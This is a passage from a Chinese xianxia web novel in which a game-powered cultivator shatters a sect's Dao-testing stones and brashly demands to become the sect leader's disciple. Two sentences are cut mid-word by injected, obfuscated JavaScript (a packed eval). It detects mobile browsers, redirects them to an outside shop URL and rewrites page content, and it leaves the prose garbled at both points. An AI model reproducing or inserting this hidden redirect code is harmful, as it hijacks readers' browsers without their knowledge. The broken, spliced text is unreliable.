他朝空中的老者一拜:“多谢大长老解答。” 少年问完之后,人群开始议论纷纷,或悲或喜的交谈不绝于耳。 “那我们必然能进入狂刀门!我们是三灵根!” “哎……为何我的丹田,偏生多出三根杂灵根?若不能进狂刀门,我该何去何从?” …… 现在的滕棠,对“天道”二字尤为敏感,退出游戏界面后,听闻这试道石、道域跟天道有关,她心里对第二关的热度瞬间冷却下来。 天道何其厌恶自身,从筑基雷劫起,就各种降天雷想让她死,怎么可能让她拥有道域天赋? 这第二关,比自己想象中难。大概率,她连一级道石都无法点亮…… 二十块黑色石头从大到小列成一路,最小那块离长老们的石台最近,最大那块则离众人最近。 因此,大家率先尝试的是面前的墨黑山丘,拿出各式各样的灵器,朝山丘施法舞招,几乎都拿出了底牌。 可惜过了许久,仍然没有人成功,所有的攻击碰撞到黑色山丘表面,没有激发任何光亮。 上百件灵器齐齐撞击,连个火花都没有,仿佛陷入泥潭的石头,惊不起一丝波澜。 胡坤笑着收手,一脸满不在乎的样子:“大家别试了,五十级的道石,岂是我们能击亮的?即使是无涯宗最顶尖的天才,也难做到。” 滕棠一直未动手,在旁边观察。 胡坤享受着簇拥,渐渐远离巨大的黑色石块,向脑袋大的道石行去:“我自小便拥有道域,早前父亲为我测过,我现在能击亮二级道石。” 他沾沾自喜地朝黑色石头打了一掌,石头表面立即亮起巴掌印,光辉如月,在十几息后才慢慢消失。 “大家莫要好高骛远,或者像某人一样,试图用歪门邪道蒙骗天道。道域初生,除非是天道之子,否则不大可能天生圆满。我们须学八长老,天赋差,还可以练的嘛,不可气馁。” 胡坤年纪尚轻,说话却像是老前辈般,高自标树,眼底难掩对众人的轻蔑。 大家虽不喜他的语气与神态,但认同他所言,初生之犊,应当有自知之明,不可和那些天之骄子相比。 人群陆陆续续地移动,开始放弃那些高级道石,走向对面高山的山脚,对最小的一级道石施展法术。 79. 第 79 章 九位长老一直在观察底下的人,对胡坤的实力与天赋不断点头。 七长老徒弟数量最少,直言道:“此子年轻有为,但心高气傲,你们那么多乖徒儿,就不要和我抢了。” “徒弟贵精不贵多,这徒弟我收定了。”六长老嘿嘿笑了一声,不避讳地和七长老抢徒弟。 这时大长老插话,慢腾腾地道:“二级道域天赋算得了什么?我们狂刀门何时没落到这种地步?二级道域天赋,连前五大门派的门槛都踏不进去。” 七长老像是没听见般,还在和六长老互呛:“我每次想收谁为徒,你就会来跟我抢,你成心的是吧?” “我可没有,是你实力比不上我,讲道能力也不如我,他们当然选我不选你。” 两人吵闹之声较低,并未影响底下攻击道石的一众年轻人,只影响到上方的司徒福禄。 司徒福禄不喜喧闹,冷冷地站在那高大的柱子上道:“都闭嘴。” 随后,他像是自言自语般,喃喃低语:“上一次,有三名四灵根修者击亮二级道石,这一次,又出现了天赋极佳的四灵根修者……” 这一切显得十分古怪。十年来,破境雷劫消失,天道之子备受欺凌,许多凄惨者逆了命途,一些顺风顺水者遭遇险境。所有事情的发展偏离轨道,让觑天命者难以预测。 天道仿佛心性大变,世间法则不再如以往那般有迹可循。与其说天道变得宽宏大量,不如说天道失去了对命运的掌控,失去了自身的威严…… 连带着,天道之子——龙傲天也出了事。 在滕棠观察道石的时候,付岚山醒了,悄悄探出滕棠的丹田,看外面的热闹。 他晃晃圆不溜秋的脑袋,不屑地说:“让一个破石头发亮有什么难的。” 滕棠将他拍回去,同他传音:“你安静点。” “怕什么?”付岚山不高兴,偏着头说:“九长老探过你的丹田,知道我的存在。他既然默许了此事,就不会让你把我交出去。何况你进行道石考核,我又帮不上什么忙。” “我不是这个意思。”滕棠施了个小小的法术,将付岚山困在丹田,不许他再冒出来:“我的意思是,你现在很影响我观察,待会儿会影响我发挥。” 滕棠是目前为止,唯一一个没有攻击道石的人。她一直在观察,想知道,所谓的道域究竟是什么东西,和天道又有什么关系。 她站在边缘上,看到一些人身上的刀光剑影,不由回想起几个月前,不,十年前,在白珊瑚岛上,她和刘仁切磋时,看到的刀域。 当时刘仁全身裹满刀风,威风赫赫,持一把刀,如持百把刀,比这些人身上的刀光剑影更明显、更有气势。切磋之前,刘仁告诉自己,这就是他的刀域。 滕棠仔细思考,她好像没有这个东西,出刀便是刀,出剑便是剑,没有引起过天地的变化,获得那神秘莫测的道法之力。 抬起右脚,滕棠走向拳头大的黑色石头。 这块石头为最低的一级道石,也是进入狂刀门的最低要求。 九成的散修都在这儿,排队等待考核。内圈的十五人正努力地击打道石表面,期望在一盏茶的时间内亮起道印。 十五个人围着一块小石头攻击,法术、灵器飞来砸去,那场面有些滑稽。滕棠为避免被误伤,特意跟守石的狂刀门弟子挨着站,没有急着去排队。 她的目光向下,望向道石上方的耐磨度条,感觉很奇怪。 一级道石的耐磨度比五十级的道石低百倍,区区两千五的数值,她随便一砍,便能将它砍没。但是在这么多的人围攻下,道石却完好无损,耐磨度只掉了个位数。 她把注意力集中在试道石旁边的小三角上,点开查看详细信息:[一级试道石。规格:大。特点:灵力对其无效,重力对其无效,腐毒之力……] 随后十五人换下,上了新的十五人,这里面有个人恰好有道域天赋,灵力御使武器,轻轻一击,便在道石上留下发光的痕迹。 与此同时,滕棠的视野里,一级道石的耐磨度降了,从两千五变成两千三。 滕棠恍然大悟,心想,难怪这石头叫试道石,那么多人打,耐磨度只掉了一点。原来是因为这石头特殊,灵力等常见力量,无法对其产生影响,真正能削磨它的,只有道法之力。 她隐隐约约摸到一点苗头,却并不着急,依旧专心观察,在暗中计数,尝试的人有多少,以及过关的人有几个,他们的天赋与实力如何…… 渐渐地,她发现,并非像大长老说的那样:三灵根、双灵根天赋者,道域天赋也不会差。四灵根则很悬,运气好有点道域天赋,运气不好,道石完全亮不起来。 事实上,这些根本不能作为辨别的依据。因为过关的人里,有三个四灵根散修,十个三灵根散修,双灵根仅一位,就是方才嘲讽她的胡坤。 没通过者人数众多,其中不乏有三灵根,甚至双灵根…… 比如她十米外的这个少年,炼气九层,武器是把灵剑。 少年手腕翻动,挽出剑花,绿、棕两色灵力齐出,大喝一声,用出十成的力气,刺向黑色巨石。 珰——,剑尖撞在道石表面,没有任何反应。 守石的弟子摇头叹气,特意关照他:“小子,你再多试试,你是双灵根,不可能没有道域天赋,许是年纪太小了。” 滕棠听得啧啧称奇,因为方才守石弟子面对一四灵根散修时,没这么好说话,一次不成功,直接赶人:“失败!没有道域天赋。四灵根之资,天注定,道友莫再尝试,还请早点下山回去。” 依守石弟子的双标态度来看,大长老所言,并不是在诓骗他们,而是真的那么认为。双灵根、单灵根不仅在灵根方面是天才,在道域方面也是天才,而其他多灵根者,则没有那么幸运,从一开始就被定下了穷途末路之命。 但为什么她观察到的现象,和大长老总结出的规律不一样呢? 滕棠感到疑惑,视线左移,瞄向某个施展道域的散修。 对方为三灵根修者,模样约莫二十七八,其道域很浅,施法时,周身仅多出五道刀风。 他的气势和周围人不同,似乎身经百战、久经沙场,每一刀都不像其他人那么随意。灵力迸发,他挥出去的一刀,比同阶修者强两倍不止。 滕棠若有所思,忽然觉得,道域天赋可能和灵根天赋没有太大的关系。 以她目前的观察来看,道域更像练出来的,集意志力、领悟力、专注力、调动力为一体,而非天生注定。 道域有点像她的技能大招。修者开启道域的时候,攻击力、防御力都有提升,且和她的技能大招一样,时间有限。 不同的一点是,她的技能大招,冷却时间一般在三分钟左右,几分钟后又是一条好汉,可以不断施招。而修者使用完一次道域,神态异常疲惫,要休息很久很久。 滕棠观看了大约两盏茶的时间。期间,通过的人仅五位,那位双灵根的少年最终还是未点亮道石,遗憾地被送出狂刀门。 可能是她站在这儿时间太久,旁边守石的弟子免不得催促她:“姑娘,你还不快去排队,人都快测完了。” 滕棠说了声“好,这就去”,并不着急地走进队伍之中。 她心里已经有了几分把握。游戏武器造成的伤害,不属于任何一种力量,没有暴击的话,其数值是固定的,唯有灵器可以抵消部分。 试道石,不一定只被道法之力所影响,还有可能被不存于这世间的力量所影响。 滕棠很快排到前面,和剩下的七人站在一块儿,围成一圈,准备接受试道石的考核。 旁边的人早就迫不及待,挨个向试道石攻击,见试道石没反应,都有些沮丧和着急,努力爆发自己最强的力量,让试道石发光。 在他们满头大汗的时候,滕棠才慢悠悠地取出自己的副武器。 升级焕新为[寒霜雪]套装后,副武器稍微没那么打眼,更低调一些。 左弯刀是冰晶带暗红,右弯刀为白火冒红烟。 虽说比起主武器,这两把弯刀没那么高调,但还是惊异了下旁边的散修。 “你的这两把刀真好看。”一位女修在旁边夸道。 “谢谢。”滕棠对她点点头,末了对她道了一声加油。 面对那块拳头大的黑色石头,滕棠犹豫着,没有出手。万一游戏武器真管用,岂不是妨碍了身边人测试? 于是她将两把弯刀插到腰间挂着,仅御使[寒霜雪]套装的项链,轻轻地在道石上碰了一下。 除了主武器和副武器,其余十件装备皆偏防御,主要给她增加[生命]、[防御]、[速度]。低空中,立即飘过[-2222]的字样,道石上方的耐磨度哗哗掉落,转瞬到了底,只剩个位数。 见此,滕棠不怎么愁了。 果真如她所想,试道石对游戏武器没辙,两者相撞,道石只有掉耐磨度的份。 松了一口气,滕棠静静等待旁边七人测试完,然后再做出行动。 她忘了自己离守石弟子最近,对方已经看到她出手。 守石弟子考核了这么久,灵力与精神力都有损失,神情有些疲乏。 他打了个哈欠,在滕棠右前方道:“失败!姑娘回去吧。” 滕棠愣了下,须臾之后,抬头对他灿然一笑:“这位师兄,我方才未尽全力,开玩笑用项链碰了一下道石,那不作数吧?” 修真界不缺美人,但对自己笑得这么灿烂的美人……没有。守石弟子的脸立马红了,期期艾艾地说:“那姑娘再试一次,这次可要认真。” 他有些飘飘然,想过去帮滕傲天,将道石从坑里挖出来,把尘土清理干净,以便她能瞄准一些。 他想当然地认为,滕傲天方才挨着他站了那么久,定是有其他含义,比如对他一见钟情。 可是没等他走两步,滕傲天忽然收了手上的项链,拔出五米大刀。 两人都没防备,长长的大刀差点戳进他肚子里。 这瞬间,守石弟子吓得魂都没了。 五米长的刀,堪堪抵在他丹田前,一出现便滴答滴答掉落着殷红鲜血,刀尖锋芒毕露,白火与霜雪交织,要是自己再前一步,绝对肝肠寸断。 “呀,快看那把刀!” 滕棠的刀太引人注目,她方取出来,就吸走了所有人的视线。 “这刀好长!好生绚丽!好生奇特!”有人夸道。 “是那个五灵根金丹期的女子?她竟然还没测道域天赋?” “这刀定然价值不菲。如此之长,不知是哪个炼器大师的杰作。” 那些测试完、没有道域天赋的散修,早已被送下山,离开了狂刀门。留在这儿的,都是通过了第二关考核的新人,即将成为狂刀门的弟子。 他们走至滕棠身边,各有说辞。有的一改看法,不再认为滕棠是作弊者,能拿出这样上等宝刀之人,背后必然有雄厚的财力、厉害的家族。有的仍然信胡坤的话,固执认为滕棠身怀巨宝,已经被狂刀门的几个长老盯上。 “她打哪儿冒出来的?我怎从未听说过滕傲天的名字,只听说过龙傲天。” “或许是东妖灵陆的人,那边总出奇才。” “胡哥说狂刀门的长老会查她,就一定会查她。” “就是,这些宝贝再厉害又如何,拿出来给人瞧,总会被人惦记上。等着吧,无论她考核成功与否,宝贝都得留在狂刀门。” 滕棠被他们围观着,颇有些不自在,每次拿出游戏闪亮亮的武器或者道具,她都觉得自己变成了公园里的猴子。 但一想到主线任务,需要扬名,她又释怀了。 只要能拿到奖励,厚点脸皮又何妨? 不仅是周围人被滕棠的武器吸引,连台上的长老与掌门都被吸引了过去。 “这弟子的刀莫不是仙器?”大长老问。 司徒福禄在高高的柱子上瞄了一眼,方块脸没什么表情:“是件罕见的上品灵刀,这小姑娘气运不错。” 九长老连忙道:“她就是我说的那位,五灵根女修,不仅筑基了,还结成了金丹。刚才人多没找着,我以为她失败下山了,原来还未考核。” 二长老没认出那是滕棠,她记得李偲缨有个五灵根筑基期的师父,但具体的长相与名字,早已印象模糊。她此时见滕棠,觉得眼熟,却想不起来对方像谁,也不想去细想,漫漫修行之路,总会遇见一些眼熟的修者。 她讥讽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032738|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一笑,接过九长老的话:“那又怎样?我曾经在珊瑚秘境中,见过五灵根筑基者,想来这世间并不罕见。五灵根纵使气运极佳,突破了境界,她在其他方面未必有那般运气了,比如这试道石,便会使她挫败。” “非也,她有道气。”司徒福禄站在顶上说。 可惜他声音太小,七长老和六长老不停呛声,完全将他的低喃掩盖过去。 七长老站于中间,不断发出感慨:“哎,这般罕见的修者,我挺想收来当徒弟的。逢人便说,我教出了一个五灵根金丹期的徒弟,这说出去多有面子啊?” “呵,笑死老夫了……” 这么多长老,六长老唯独看不惯七长老,喜欢和他作对:“五灵根结了金丹,说出去谁信?你逢人便说,只会被当做满口谎言的骗子。” 滕棠被众人热情地盯着,身上全是汗。她很想反驳附近的几个修者,说自己不认识尊贵的炼器大师,没有厉害的家族背景,更没有很多钱,她超级超级超级穷……但是话到嘴边,她觉得有失“滕傲天”的身份,无法给大家留下强烈的印象。 滕棠给自己洗脑,在心中默言:我于黑暗中重生,并发誓,会让所有人记住滕傲天这个名字…… “快测吧,姑娘。”守石的弟子仍心有余悸,拿着纸笔站得远远的。 滕棠那刀除了长,还具有极寒、极热两种属性。这一侧的新人热得冒汗,另一侧的,冷得瑟瑟发抖。守石弟子站哪边都不对,最后选择站滕棠身后,待在十几米远的位置。 滕棠点点头,在众人的目光下,人未踏进一步,五米长的大刀已悬在道石之上。 哐——,刀锋裹挟灵力,狠狠砍在黑色石头上,随后变成游戏伤害,空中飘过几串众人看不见的数字:[-9999……][+222……]…… 有主动伤害,有被动反哺,甚至幸运地出了暴击,额外添上一串伤害值。 滕棠未收起刀,见石头上的耐磨度从个位数变成[0],觉得这石头真不经劈,比起那些炼器石材,完全是个脆皮。 五米长的大刀沉沉压在道石上,除了武器自身的光芒,底下没有额外的光芒亮起。 在大家眼里,滕棠这一刀异常唬人,但砍下去后,却无事发生。他们只关注试道石亮没亮,完全没注意到,无坚不摧的试道石裂出了无数条细密的缝…… “失败!”守石弟子一语定下结果。 其他人都在摇头:“嗐,可惜了这把好刀。”纷纷露出失望的表情。 有人嫉妒地说:“这刀要是给我多好,放她身上真浪费。” 有这样想法的不止一位,就连台上的七长老都动心了。身为刀修,此生最爱的武器便是刀,七长老一直苦于寻不到好刀,每年都会去九炼宗拜访,求大师为他锻刀。 可器师的珍贵程度与丹师相等,他没有雄厚的财力、奇特的珍宝,厉害的炼器大师根本不会搭理他的请求。 七长老挂起笑意,满面红光地对滕棠道:“这位小道友,能否把你的刀卖给我,你说个数,我买下。” 他出现在台下,大多数人都不意外。跟随胡坤那几位,皆露出了然的神色,彼此对视,脸上都写着“有好戏看了”,长老们终于出手,查探这滕傲天的秘密,然后将宝贝夺走。 如果武器可以贩卖,滕棠早就卖了。 中间商只赚差价,别人花五倍甚至十倍价格向她购买,她再以商城价格购买装备材料,不停打造,直接一夜暴富,再也不缺钱。 可惜,游戏武器是绑定的,无法卖给别人。她即使双手奉上,这些人也用不了啊…… “抱歉七长老,这刀是我本命法宝,不卖。”滕棠客气道。 她手中的刀仍未收回,横亘在道石上,一侧严寒飘雪,一侧炽热燃火。 七长老并没有放弃,对好刀的渴求使得他不顾门规:“你要是把刀卖给我,我收你为徒如何?许你成为狂刀门的内门弟子。” “老七,这不符合规矩吧?” 六长老也下了石台,走至七长老身旁,幸灾乐祸地说:“她过不了道石这一关,便失去了内门资格,你私自收为徒弟,最多能当外门弟子,不可做内门弟子。” 七长老见他又来坏事,有些气急败坏:“她可以当外门弟子,但我以内门弟子相待,师父愿意给徒弟各种好处,你管得着吗?” 他们刚要吵起来,司徒福禄发话了:“狂刀门虽以刀法闻名,刀修众多,但绝不助长倚强凌弱、以众暴寡的风气,七弟你这么大岁数了,何必为难一个小姑娘,强行逼人家卖刀。” 七长老被六长老说,敢顶嘴,被司徒福禄一说,一个字都不敢反驳。 他老脸一红,对滕棠带着歉意道:“是我唐突了,见到好刀,求刀心切,希望小姑娘理解。” 滕棠摇摇头:“无碍。”心里在想,试道石掉光了耐磨度,但没发亮,该怎么办? 主线任务仅剩一小时,山上的司徒福禄就没下来过,一直板着一张脸,没有任何表情,刚才开口,并非青睐她、想收她为徒,只是替她解围而已。 所有人测试完毕,守石弟子登记好滕棠的结果,让她赶紧离开:“姑娘把握好时间,翻山回去吧,晚了天就黑了。” 滕棠心心念念着主线任务,当然不肯现在离去。 在几个长老开始挑人收徒的时候,她忽然抬起手中五米长的大刀,掂了掂,决定另辟蹊径。 她刚要走向第二块脑袋那么大的道石,前面突然响起“咔嚓”的声音,没有大刀压制后,拳头大的黑色石头失去平衡,土崩瓦解,裂缝不断张开,碎了一地。 众人朝一级道石那儿瞧了一眼,没什么反应。 大长老吩咐弟子去收拾,乐呵呵地说:“这次开山收徒,好些人有道域天赋,不错不错,竟然让一级道石碎了。” 滕棠听完,更加认定自己心中所想的那条蹊径可行。在白衣弟子催促她赶紧离开时,她突然疾步走向二级道石,然后举起五米大刀,“哐哐”砍向黑色的石头。 大家听见声响,皆回过头。不用长老们吩咐,其身旁的得意弟子们已经行动,向滕棠飞去,想阻止她。 “哎,她似乎受不住打击,得了失心疯。”七长老遗憾地说。 80. 第 80 章 五米长的大刀挥舞起来,范围甚广,一面极热、一面极冷,让那些想阻止滕棠的弟子停了脚步,不太敢靠近。 滕棠砍碎二级道石后,发现动静不大,没引起多少人注意,连忙奔向第三块板凳高的道石。 她“哐哐”砍着道石,嘈杂的声响妨碍到几位长老挑选徒弟。 二长老站在石台上,不耐烦地道:“没有道域天赋就是失败了,赶紧离开狂刀门,在这儿发什么疯?” “二长老勿气,我们这就将她赶出去。” 不论是守石弟子,还是长老们的得意弟子,皆飞往滕棠的方向,试图将她赶出狂刀门。 只是他们刚有行动,那板凳高的黑色石头突然“咔嚓”一声,裂成无数石粒。而罪魁祸首已经离开,跃向第四块试道石。 第四块道石,有桌子那么大,并非四级道石,而是十级道石。狂刀门收徒至今,仅李偲缨将其点亮过。 滕棠速度特别快,出手果断,对着十级道石用力砍了四刀。 那些弟子根本来不及阻止,便再次听见“喀嚓咔嚓”的声响,看着桌子大的道石寸寸碎裂,同样化为一堆石粒。 “你……”他们怔住,不敢置信地瞪着眼前这一幕。 试道石,非道域不可破坏,滕傲天没有道域,未能将石头击亮,她是如何砍碎道石的?莫非掌门的这几块道石久经测试,已不堪一击? 可不对啊,狂刀门每五年收一次徒,极少有人点亮三级以上的道石,所造成的破坏不该这么大……除非内库试道石不够,掌门将考核用的试道石拿出来,供内门弟子查看道域情况…… 在他们发怔的时候,滕棠已移动到第五块道石面前,举刀砍向床那么大的黑色石头。 哗咔哗——,又是几声清脆的崩裂声,可供两人平躺的石头轰然垮塌,扬起一阵尘土,迷蒙了众人的视线。 “咳咳咳……” 这块道石离新入门的散修很近,他们这会儿没心思拜师了,俱掩住口鼻,伸着脖子,往灰尘里瞧。 几个长老无法专心收徒,不得不中断自己挑人的目光,全部往滕棠的方向看去。 然而滕棠没有停歇,早已离开第五块道石,飞到第六块道石面前,手举五米长的大刀,哐哐砍向茅草屋大小的黑色石头,每一刀都干脆利落。 宽广的山谷内,没一人说话,只有“哐哐哐”的沉闷刀石声,在四座山之间回荡。 尘土不断扬起,而后不断散落。 不管是台下的散修,还是台上的九位长老,都大张着嘴,下巴掉在脖子处,眼睛几乎瞪出来。 离他们百米远的地方,手持长刀的女子,状若疯狂,不停挥舞手中炫丽的上品灵刀,将黑色试道石砍碎。 “咔嚓”的声响不绝于耳,连长老们都无法轻易打碎的试道石,在滕棠手中如同豆腐,砍几下便会裂成碎块。 滕棠每砍碎一块试道石,便会抬头瞄一眼司徒福禄。见对方仍然面无表情,站立在石柱上不动,误以为对方见多识广,自己这点实力没有入对方法眼,于是继续提刀砍道石。 她略过中间几块,直接走到第二十块道石跟前,计算上方的耐磨度。 这块道石最大,小山丘一般,占据了山谷场地的一半。其耐磨度数值很高,若是修者开展道域击打,日夜不停,好几月都不一定打碎。但她有游戏武器,以她目前的等级和四套装备的加成,砍六十次就够了。 滕棠在开始之前,鼓足勇气,指着这块五十级的道石,对远处的司徒福禄道:“掌门被誉为天下第一刀,我崇拜已久,一直想拜你为师。” 她胆大妄为地继续说:“我们打个赌如何?要是我把这块五十级的道石砍碎,你收我为徒。” 她实在没辙,想不到其他办法吸引司徒福禄的注意力,只好主动点、大胆点,没有机会,自己为自己创造机会。 假若滕棠知晓,五十级的道石对修者意味着什么的话,她一定不会略过中间几块,肯定会退而求其次,选择第十二块——那块二十五级的道石。 然而她对试道石一无所知,并不知晓五十级道石有多难碎…… 山谷中,一片寂静,所有人已经石化。 滕棠没有发觉异常,以为自己刚才的言论有些轻狂,尬到了众人,让气氛和场子都冷了下来。 她开始找补,试图让场子重新热起来,显得没那么尴尬。 “哈、哈……我滕傲天从不说大话,掌门要是觉得这块道石不够格,有更高级的道石,可以取出来。不管多少级,我都敢跟掌门赌。只要我赌赢了,掌门就收我为徒,如何?” 说话时,她不忘自己的任务,要让众人记住“滕傲天”这个名字。 司徒福禄生来面瘫,不管眼前发生何事,他都难做出表情。 “给我看看你的刀。”他从高大的柱子顶端踏空下来,五官仿佛木头雕刻出来的,纹丝不动。 他的表面没有什么波澜,内心早已翻起了惊涛骇浪。 五灵根修者,筑基并结成金丹,此事已足够离奇,没想到对方弄出了更离谱的事,随手几刀,便将道石劈开。这怎么可能?试道石坚不可摧,非道法之力不可破…… “可是……这刀,我……”滕棠犹犹豫豫,并不是吝啬、不愿给他。 实在是游戏武器有限制,绑定后,武器只能自己用。 别人想碰的话,一则温度受不了,二则重量、手感、材质皆保持原态,不会减轻负担,可能连拿都拿不起来。且武器脱离一会儿,会自动返回背包…… 当初的半米初级刀、一米低级刀,都不怎么重,滕棠敢交到别人手上,不怕别人拿不起。 但现在,她已经打造到第四套装备,刀身长度延伸到五米。其他人想用,刀的重量恐怕会十分骇人。 “我不会要你的刀。” 司徒福禄为证明自己,将储物戒中的刀亮了出来。 他的刀看着极其朴素,仿若凡器,刀身通体玄黑,和刀柄是一体的,颜色比粗铁深,好似一块玄铁直接锤炼出来的简单大刀,没有任何雕刻与饰物。 旁人如果不感受其中强大的波动,会觉得这把刀很便宜、很普通。 然而滕棠可以读取它的信息,知晓它其实是一把下等仙器。 司徒福禄的刀和滕棠的刀挨在一起,形成了鲜明的对比,一把花里胡哨,一把朴素简单。 没有对比就没有伤害,简朴的黑刀显得很廉价,若让不知品阶的修者挑选,对方肯定选择滕棠那把长刀。 “我这刀虚有其表。”滕棠努力和司徒福禄拉近关系,开始拍马屁:“掌门的刀,才是好刀!比我的刀好太多了!这竟是一把仙器!” “小姑娘,好眼光!竟认出那是把仙刀。”七长老赏识道。 他还惦记着滕棠的刀,痴迷地看向那把五米长的灵器。 这把刀比掌门的宝刀漂亮不知多少倍,若让他选,他更愿意选这把逞奇眩异的灵刀。 刀身冰火两重天,刀尖嗒嗒滴血,刀背闪光,刀身线条流畅优美,刀柄为暗红色,凹凸的手把刚好符合女修的手指宽度……一切都是那么完美。 与七长老的想法相反,司徒福禄走近了瞧,才发现滕棠的刀没他想象中好。 刀上添的许多东西,比如流动的光芒与滴落的血滴,都是炼器师加的唬人玩意儿,在大乘期以上的强者眼中,轻易可看破,不足为惧。 “给我试一下你的刀。”司徒福禄伸出左手,示意滕棠递给她。 他的右手则很高风亮节,把自己的仙刀交出去,以表自己观赏的诚心。 他的此番举动,让胡坤等人目瞪口呆。他们一直在等长老们探出滕傲天的秘密,满足他们的好奇心,然后幸灾乐祸地看滕傲天的宝贝被狂刀门拿走…… 但事情的发展和他们想象中的不一样,长老们不仅没有出手搜寻滕傲天的秘密,掌门也未小人作派地欺蒙滕傲天,骗走对方的宝刀。就连对长刀异常渴求的七长老,都未做出行动,被掌门说教一句后,再也不提买刀之事。 而滕傲天呢?她虽未展现道域、点亮道石,但实打实地砍碎了好多块试道石。这种事情,闻所未闻。 胡坤一脸发呆地站在新人弟子中,身旁几个簇拥他的散修,此时和他一样,脸上失去笑意,没有了看戏的神态,全都呆呆的,像几棵笔直的树木。 滕棠拗不过司徒福禄,怕继续拒绝,会引发对方的反感,进而导致任务失败。她放下长刀,体贴地将刀身大半边垂放在地面,仅将刀柄递到司徒福禄手中。 她没有去接司徒福禄的刀,而是细心提醒:“掌门小心刀背上的冰与火,不要被伤到。” 司徒福禄不以为然。滕棠金丹期的实力,细皮嫩肉的,都能举起这把刀,他大乘七层的实力,怎么可能会被伤到? 司徒福禄不仅轻视刀上的冰与火,还轻视了长刀的重量。 他接过滕棠递来的刀柄,握住后,手背冰寒发青,手心炽热得快融化。他下意识地想提起来,观察灵刀的品质与细节,然后他发现自己提不起来,手腕用了十成力,还是没能提起大刀分毫…… 身后是九位长老,身前是门内弟子,身侧是新入门的散修,在这么多人的围观下,司徒福禄那万年不变的面瘫脸,终于有了点变化。 只见他额角凸起青筋,目光陡然变得凌厉,手臂肌肉鼓起,在两股灵力的流转下,咬紧牙关,缓缓拿起了一半大刀,使二米五的刀身离开了地面。 司徒福禄的五官绷得很紧,故作轻松道:“不过如此!” 他没有继续尝试将大刀完全提起,那样必须用出五成灵力,会暴露出事实——他不动用灵力就提不起这把刀。 司徒福禄松懈胳膊,使刀身落回地面,悄悄用灵力修复手上的冻伤和烧伤。 他心有疑惑,滕棠一金丹期修者,是如何拿动这把长刀的?且滕棠单手便可挥舞,这般沉重的刀,她拿起来像羽毛一样轻。 他的狂石目不会看错,这刀的品阶为上品灵器,未生器灵,没有特殊阵器,不存在认主后,唯独主人才能御使的限制。 在司徒福禄百思不得其解之际,滕棠很贴心地上前,接过他手中的刀柄。 她离得近,听到点咬牙切齿的呼吸声,心下了然,即使是大乘七层的掌门,想拿起这把刀,也不是那么容易的事,必须动用灵力才行。 “让掌门笑话了,我这刀,比之掌门的刀,差太多!中看不中用!” 滕棠给司徒福禄台阶下,希冀对方来一句“你很不错,当我徒弟吧”,这样任务就完成了。 可惜她望着司徒福禄的脸,等了好一会儿,都没得到回应,只好主动开口:“不知掌门能否答应我的赌约?我崇拜掌门许久了。” 司徒福禄既没点头也没摇头,板着一张脸,五官全程未动过。 他朝后一招手,大长老秒懂他的意思,像传话筒、翻译器般,走过来对滕棠慢慢说道:“既然能击碎前十一块道石,便证明了你的能力,这五十级道石就不必了,从今日起,狂刀门的正式弟子新增一位,嗯你……” 司徒福禄忽然插话,替大长老问:“你叫什么名字?” 他的表情古井无波,双目黑白分明,五官比祥天门那些魔傀还冷硬呆板,让旁人很难解读他的情绪与想法。 滕棠一听他主动发话,觉得有戏,再次厚着脸皮问:“掌门可否收我为徒?我叫滕……” 她正要屈膝跪下,诚恳请求司徒福禄收自己为徒弟,突然脑子里跳出系统方框:[面对司徒福禄的询问,你不卑不亢,挺胸抬头骄傲道:“……] 第二关考核了这么久,主线剧情任务终于变动,显示正在进行。倒数时间已经消失,取而代之的是几串文字。 滕棠现在面对司徒福禄,如同面对一个NPC,不仅对话是固定的,连动作都是固定的,身体已不受她的控制。 她原本是想跪下来的,这样更显拜师的诚意。但系统控制她身体后,她突然挺起脊背,不卑不亢地望向浑身肌肉的男人,表情狂傲,言辞激昂,像极了那趾高气昂的龙傲天。 “呵,就你,你刚问我名字是吧?!” 司徒福禄的脸上被喷了点口水。他面无表情地后退一步,双目炯炯有神。 “嗯,你叫什么名字?我的狂刀仙法极其难学,成为我的徒弟,必须要有狂气!” 他此时看滕棠的眼神很不一样,带上了惊喜、青睐、欣赏,目珠都有了光泽。 [初出茅庐·三]来到剧情第二段:[要论狂妄,有谁比得过你?你扯过司徒福禄的衣领,鄙夷一笑,对他道:“……] 滕棠的身体仍不受控制,此时倨傲的表情,看着比那龙傲天还目空一世。 在九个长老和上百位弟子的目光中,她上前一步,踮起脚尖,右手抓过司徒福禄的衣领,努力往自己面前扯。 奈何司徒福禄的双脚站得太稳当,她的手扯了两下,都没将人拉动半分。她的表情还保持着目空一切的态度,嘴巴歪斜,露出个鄙夷的笑容。 “记住了,我叫滕傲天!滕!傲!天!往后,我滕傲天会成为这世上最厉害的人!天道之子被我碾在脚下,天道被我踹下神坛。你若敢当我师父,将来我的名声遍布大江南北,你一定能沾到我的光!别人问起你的徒弟,你可骄傲道出我的名字——‘滕傲天’!” 狂刀门前山,山谷再次安静,这次安静得能听见呼吸声。 所有人的下巴再次惊掉,脑袋被滕傲天的言论震得一片空白。 他们从未见过如此狂傲之人! 大长老努力睁开浑浊的眼睛,确认无误,这就是之前挑衅天道的女子。她究竟是何人?为何一而再、再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032739|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而三地挑衅天道,却不被雷劈?天道怎么不劈她?! 